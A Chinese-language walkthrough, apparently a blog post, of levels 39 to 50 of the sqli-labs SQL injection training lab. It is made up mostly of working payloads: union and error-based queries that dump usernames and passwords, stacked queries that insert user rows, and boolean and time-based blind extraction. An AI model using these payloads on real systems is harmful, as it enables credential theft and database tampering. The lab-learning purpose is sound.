Less 39 GET -Stacked Query - Intiger based
一、判断注入方式
这一关主要考察为堆叠注入,格式: 第一条语句;第二条语句 这两条语句都是独立可执行的sql语句,所以我们试着往里面插入一些数据,验证可以进行sql注入和可以进行堆叠注入即可。
二、判断闭合方式
根据页面回显结果可以得到为证书注入。
1 and 1=1 --+
1 and 1=2 --+
三、查看详细信息
0 union select 1,2,group_concat(username,password) from users --+
四、堆叠注入插入数据
堆叠注入插入以下数据,使用id访问如果存在即为注入成功。(堆叠注入增删改查数据均可,需确保第二条语句是可以单独执行的完整句子)。
1; insert into users(id,username,password) values(21,'I','5') --+
Less 40 GET -BLIND based -String -Stacked
一、判断注入方式
这一关与上一关一样主要考察为堆叠注入,格式: 第一条语句;第二条语句 这两条语句都是独立可执行的sql语句,所以我们试着往里面插入一些数据,验证可以进行sql注入和可以进行堆叠注入即可。
二、判断闭合方式
1') and 1=1 --+
1') and 1=2 --+
三、查看详细信息
-1') union select 1,2,group_concat(username,password) from users --+
四、堆叠注入注入数据
1');insert into users(id,username,password) values(22,'Love','2') --+
Less 41 GET -Blind based -Intiger -Stacked
一、判断注入方式
这一关与上两关一样主要考察为堆叠注入,格式: 第一条语句;第二条语句 这两条语句都是独立可执行的sql语句,所以我们试着往里面插入一些数据,验证可以进行sql注入和可以进行堆叠注入即可。题目还有一个敏感性不过博主属实没有看出来敏感在哪了。
二、判断闭合方式
1 and 1=1 --+
1 and 1=2 --+
三、查看详细信息
-1 union select 1,2,group_concat(username,password) from users --+
四、堆叠注入插入数据
1;insert into users(id,username,password) values(23,'you','1') --+
Less 42 POST -Error based -String -Stacked
一、判断注入方式
看这个界面其实可以使用二次注入的,但是题目给的是基于错误的堆叠注入还是POST型的,所以我们还是简单的使用报错注入获取全部信息然后堆叠注入插入数据进行登录吧。
二、判断闭合方式
POST没必要判断了,直接抓包更改数据就OK了。
三、查看详细信息
这里的注入点是密码框不是用户框注意插入位置。
'and updatexml(1,concat(1,(select group_concat(username,password) from users )),3) --+
四、使用堆叠注入插入数据
1';insert into users(id,username,password) values(99,'L','T') --+
less 43 POST -Error based -String -Stacked -with twist
该关卡与42关除闭合方式不一样外其他一模一样,博主这里仅给出代码,各位去努力吧。
') --+ //闭合方式
'and updatexml(1,concat(1,(select group_concat(username,password) from users )),3) --+ //查看详细信息
1';insert into users(id,username,password) values(66,'L','TT') --+ //堆叠注入插入数据,执行命令后进行登录即可
less 44 POST -Error based -String -Stacked -Blind
一、判断注入方式
POST 传参使用BP抓包发送到重放器构造语句进行注入判断。正确正常,错误没有任何回显使用布尔盲注进行注入得到信息,堆叠注入插入信息后登录尝试验证。
二、判断闭合方式
用户名为正确的前提下使用密码往后加符号尝试。
T' and 1=2 --+
T' and 1=1 --+
三、构造语句得数据库名
'or substr(database(),1,1)='s' --+
手动过慢使用BP的intruder模块。
根据响应包长度排序就可以得到数据库名称。
、
四、构造语句得数据表名称
同上面相同做法,使用语句后发送到intruder模块
'or substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='s' --+
发送攻击模块将第三个1和s设为变量,开始攻击即可。查询第二个字段将第一个1改为2即可。
五、构造语句查看字段名
'or substr((select column_name from information_schema.columns where table_schema='security' and table_name = users limit 1,1),1,1)='s' --+
其他均与上一步相同
六、查看详细信息
'or substr((select username from users limit 1,1),1,1)='s' --+
'or substr((select password from users limit 1,1),1,1)='s' --+
七、堆叠注入
1';insert into users(id,username,password) values(88,'LT','T') --+
执行命令后使用用户密码登录验证即可。
Less 45 POST -Error based -String Stacked -Blind
本关卡与上一关除闭合方式改为 ') --+ 外其他均相同,就不赘述了。
Less 46 GET -Error based Numeric -ORDER BY CLAUSE
一、判断注入方式
页面提示使用的是sort参数,输入不同的数值按不同的列数进行排序,应该使用的是order by 相关的东西,使用报错注入。
二、判断闭合方式
闭合方式这里影响不大,但是根据报错的提示可以判断为数字型。
三、构造语句得数据库名
1 and updatexml(1,concat(1,database()),3) --+
四、构造语句得数据表名称
1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) --+
五、构造语句查看字段名
1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
六、查看详细信息
1 and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
less 47 GET -Error based -String -ORDER BY CLAUSE
该关卡与上一关卡一样啊,就是改变数字没啥反应,所以前面的数字给改为负数或0即可。
一、构造语句得数据库名
0' and updatexml(1,concat(1,database()),3) --+
二、构造语句得数据表名称
-1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) --+
三、构造语句查看字段名
-1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
四、查看详细信息
-1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
Less 48 GET Error based -Blind -Numeric -ORDER BY CLAUSE
一、注入方式
对的时候存在回显,错的时候没有任何的回显信息,使用时间盲注。
二、获取数据库名
抓包后放到攻击模块进行爆破,因为sleep超时所以出不来结果的就是正确值,下几条命令同理。
1 and if((substr(database(),1,1))='s',sleep(5),1)
三、获取数据表名
1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='s',sleep(4),1)
四、获取数据字段名
1 and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name = users limit 1,1),1,1)='s',sleep(4),1)
五、获取数据信息
获取用户名和密码时更改第一个1即可。
1 and if(substr((select username from users limit 1,1),1,1)='s',sleep(4),1)
1 and if(substr((select password from users limit 1,1),1,1)='s',sleep(4),1)
Less 49 GET Error based -Blind -ORDER BY CLAUSE
这一关跟上一关除闭合方式改为 ') 外,没有任何区别。不做赘述了。
Less 50 GET Error based -ORDER BY CLAUSE -numeric -Stacked injection
一、注入方式判断
根据报错信息提示可以使用报错注入,题目也考堆叠,所以俩都用一下吧。
二、闭合方式
单引号双引号加括号都没有用,全都是报错应该就是数字型了,查看源代码也确实是数字型的。
三、查找数据库
0 and updatexml(1,concat(1,database()),3) --+
四、查询数据表
-1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) --+
五、查询数据字段名
-1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
六、查询数据信息
-1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
七、堆叠注入
1;insert into users(id,username,password) values(88,'LT','T') --+